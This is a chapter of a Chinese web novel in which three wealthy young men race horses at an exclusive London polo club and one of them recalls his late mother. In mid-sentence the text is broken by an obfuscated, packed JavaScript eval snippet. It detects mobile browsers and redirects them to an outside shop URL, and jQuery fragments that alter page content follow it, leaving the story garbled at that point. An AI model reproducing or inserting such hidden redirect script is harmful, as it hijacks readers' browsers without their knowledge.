马球场位置在格林威治郊外的一片开阔谷地里，晨雾还没散透，铺在草地上薄薄的一层，像是黑麦草起伏状的呼吸。
这草地被修剪的极短，踩上去脚感很密实，化了霜之后有一种暗沉沉的绿。
场地周围甚至都没有围栏，只有被刷成白色的标识桩每隔一段距离地插在草地上，延伸到远处那片高大的橡木林边缘，林子背后是一大片缓坡，坡顶立着几棵孤零零的松树，被风吹成了一边倒的姿态。
沈彻到的时候，场地上还空着大半，他沿着碎石路走过来的时候，鞋底还卡了几颗小石子，他抬起脚甩了两下马术靴。
傅时聿已经在了，他正蹲在场边检查马鞍的肚带，他的黑马“里本斯”被拴在旁边的临时桩上，低头啃着草尖，尾巴时不时轻轻扫两下驱赶着周围的小飞虫。
晨光从云缝中撒漏下来，是那种很淡的金色，落在傅时聿脸上时，为他镶了一层矜贵的金边。
草汁的涩味混合着皮革的味道，随着微风一阵阵飘在空中，他站起身抚摸里本斯油亮的鬃毛，仿佛希腊神话里面年轻的神祇。
沈彻并没有走过去打招呼，而是绕过场地走向了另外一边的马厩。
马僮牵出来的是一匹浅棕色的母马，眼睛大，睫毛长，看起来很温顺，马僮操着一口流利的伯明翰口音跟他介绍这匹马的生平。
“先生，请问您需要帮忙调整马镫吗？”马僮问沈彻。
他摆摆手说不用，自己试了两脚，把皮扣往上面调了两格。
做完这些，看到傅时聿正从场地的另一头牵着马慢慢地沿着边缘在走，提前适应草地。
周令臣的接驳车停下来的时候，惊起了树林里一片不知名的飞鸟，呼啦啦全飞走了，绕了一圈然后又落回原处。
周令臣穿着卡其色的长风衣，样子颇有几分倜傥，他手里拿着咖啡从车上下来，不像是来打马球的，倒像是来拍电影的。
“你们这么卷的吗？起这么早，我还没到呢就已经骑上了？”
沈彻朝着他的方向扬了扬下巴，其实根本没听清他在说什么，傅时聿依旧低着头绕着场地行走，像是没看见他一样，步子不紧不慢。
等周令臣换好马术服，三个人各自上马。
沈彻脊背挺直，肩膀很放松，让马小步绕圈行走，他瞄了一眼里本斯，在傅时聿的控制下，简直乖巧的不像话。
“你猜我今天看到什么了？”周令臣跟沈彻并肩骑着马，压低声音，他逆着光，一头耀眼的金毛，眯眼笑的样子像是毛茸茸的大狮子，他往傅时聿所在的方位努了努嘴，“他今天居然穿了条新护腿，棕色的，以前没见过。”
沈彻笑了笑，不知道该怎么回答，就点了点头。
“你继续练，我去找找感觉。”周令臣骑马很熟练，靴子磕在马腹上的声音短促有力，很快地跑开了。
马蹄踏在湿润的草地上，发出噗噗的声响，不远处的傅时聿朝着周令臣挥了挥手说，“看到远处山坡上那棵树了吗？”
那棵树长得很特别，沈彻一开始就注意到了。
它的树冠被风吹成了一边倒的形状，像是一面猎猎迎风的旗帜。
“我们来比个赛怎么样？”傅时聿扯了下缰绳，里本斯在他胯，下昂首挺胸，跃跃欲试，黑色的鬃毛在阳光下仿佛流淌的绸缎。
“好啊，比谁先到那棵树的位置，输了的今天晚上请吃饭！”周令臣自信地扬起笑容，说完便扬鞭策马而去。
沈彻也紧跟而上，听到周令臣侧过头对他说，“你的马不如傅时聿的好，肯定跑不过他，没事我给你垫底！”
“你别让我啊，这顿饭我请定了。”沈彻虽然嘴上这么说，却仍旧不敢落于下风。
周围的一切呼啸而过，有阳光下绿油油的树影，白色的木桩，高大的橡树，耳边除了风声还有少年人般爽朗的笑声。
乘风而起的马蹄越来越快，马背上的沈彻几乎要半坐着，小腿肌肉紧绷才能勉强保持平衡，但是在这种摇摇欲坠的驰骋中，他由衷感到一种久违的自由和肆意。
傅时聿毫无疑问地得了个第一名，然后是周令臣和沈彻几乎是同时到达。
勒住马的周令臣，气喘吁吁地从马背上下来，用一种充满困惑的声音说，“傅时聿你他妈是人吗？我就没见过你不擅长的东西，就骑马这玩意儿我记得你还没我学得早呢。”
傅时聿靠在树干上，喝了一口马僮递过来的水，没有接话。
“你肯定偷偷练了吧？说实话，你小子用全力了吗？”周令臣一屁股坐在草地上，依旧不依不饶。
“没有。”
“那为什么你总是赢？凭什么？”周令臣似乎很不服气。
从小到大，无论学习也好，怎么都好，傅时聿在他们那个圈子里，永远是神一样的存在，谁见了都要夸两句，傅家那老三一看就是人中龙凤。
老爷子没少拧着周令臣的耳朵叫他跟傅时聿多学学，有点出息，周令臣总咋咋呼呼反驳老爷子说绝对是基因问题。
凭心而论，傅时聿没有努力想去赢，确切来说，是他按照自己的节奏在走，走着走着就走到别人前面去了，已经形成了一种习惯。
似乎他天生就该那样，是走在别人前面的。
周令臣还在絮叨，说他小时候被老爷子逼着学这个学那个，样样都不如傅时聿。
傅时聿听着，没有打断。
他想起他打马球是母亲顾文心教的。
顾文心是大家闺秀，做什么事都端端正正，不急不慢。五六岁时，她就教他骑马，教他挥杆，教他在马背上不要慌。她从不催他，从不拿他和别人比。她只是陪着他，一遍一遍，直到他的身体记住那个节奏。
傅时聿枕着双臂，就地躺在草地上，微微闭上眼睛。
阳光洒在他高耸的眉骨上，显得眉毛毛茸茸的，仿佛一簇蒲公英。
后来顾文心去世了，没人记得他喜欢打马球这个爱好，也没在乎他赢不赢，那些人在乎的是他显赫的家世，或者出众的外貌。
只有周令臣会嚷嚷着要跟他一起打马球，每次都输，但是下次还打。
周令臣不是最聪明的，不是最优秀的，但确实是最会讨人喜欢的。
他不会因为傅时聿比他强就离得远一点，他也不会因为自己姓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454149|201201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
傅就靠过来，更不会因为傅国生被调查就躲开。
他就是他，赢了会笑，输了会骂，骂完继续。
傅时聿看着躺在地上的周令臣，说了一句：“你也不错。”
周令臣愣了一下，以为自己听错了。
“什么？”
“你骑马的样子，”傅时聿说，“比以前稳了。”
周令臣看着他，忽然笑了，笑得很大声，惊起了远处树上的鸟。
“你这是在安慰我？傅时聿你还会安慰人呢？我受宠若惊了。”
傅时聿没有再说话。
他看着远处，风吹过来，树叶哗哗响。
他想，母亲走之后，只有周令臣还在问他马球打得怎么样。不是问他公司怎么样，不是问他父亲怎么样，不是问他那些他不想回答的事。
这就够了。
人生命中有且仅有一个夏天，他们躺在草地上，却好像回到了高中那会儿刚打完篮球的夏天。
“比赛在几点？”周令臣突然问。
“下午三点，两点进场热身，距离现在还有……”沈彻抬起手腕看了一眼时间，“三个多小时。”
“换双舒服的鞋子，先吃个饭。”
餐厅安排在俱乐部的旁边，一开始来的时候沈彻还没注意，马厩里的每匹马都有自己的名字，写在木门上的铜牌里。
不是打印的，是手刻的，字体很旧，像用钢笔写在羊皮纸上。
沈彻牵马的时候注意到，隔壁马厩的门上刻着“Windsor”，下面还有一行小字，看不清，被缰绳磨花了。
周令臣路过，看了一眼，说：“这匹马是温莎家寄存的，好几代了。”他说得很随意，像在说今天天气不错。
这家马球俱乐部，名字里面带着“皇家”二字，却不属于王室的产业。
它成立于十九世纪末，由一批驻印军官带回马球运动后创立，后来几经易手，成了伦敦老钱们心照不宣的社交场。
俱乐部不挂招牌，不接受公开申请，入会方式只有一种——被邀请。邀请权掌握在十二人组成的理事会手中，每一名新会员需要至少三位理事联名推荐，且不能有反对票。
据说某年中东一位王子递交了申请，等了三年，杳无音讯。理事会的回复只有一句话：“我们暂时没有适合您的位置。”
适合。这个词在这里不是能力，是身份。
会员名册翻开来，清一色的贵族姓氏、百年企业的继承人、王室远亲。
不是有钱就能进，钱只是门票，真正筛选的是你的姓、你的圈层、你的祖父在哪片草场上骑过马。俱乐部有一面墙，挂着历届会员的合照，黑白照片里的人穿着老式的马裤，站姿笔挺，眼神里带着一种不用开口就让你知道“你不属于这里”的笃定。
傅时聿能进来，不是因为他姓傅，是因为他母亲姓顾。顾家在民国时期就是沪上名门，与英国几家老牌家族有过联姻。
顾文心年轻时在伦敦留学，曾随外祖父来此参加过一场慈善赛。她牵着小傅时聿的手，站在那片草地上，对他说过一句话：“这里的人喜欢马，只是因为骑马开心。”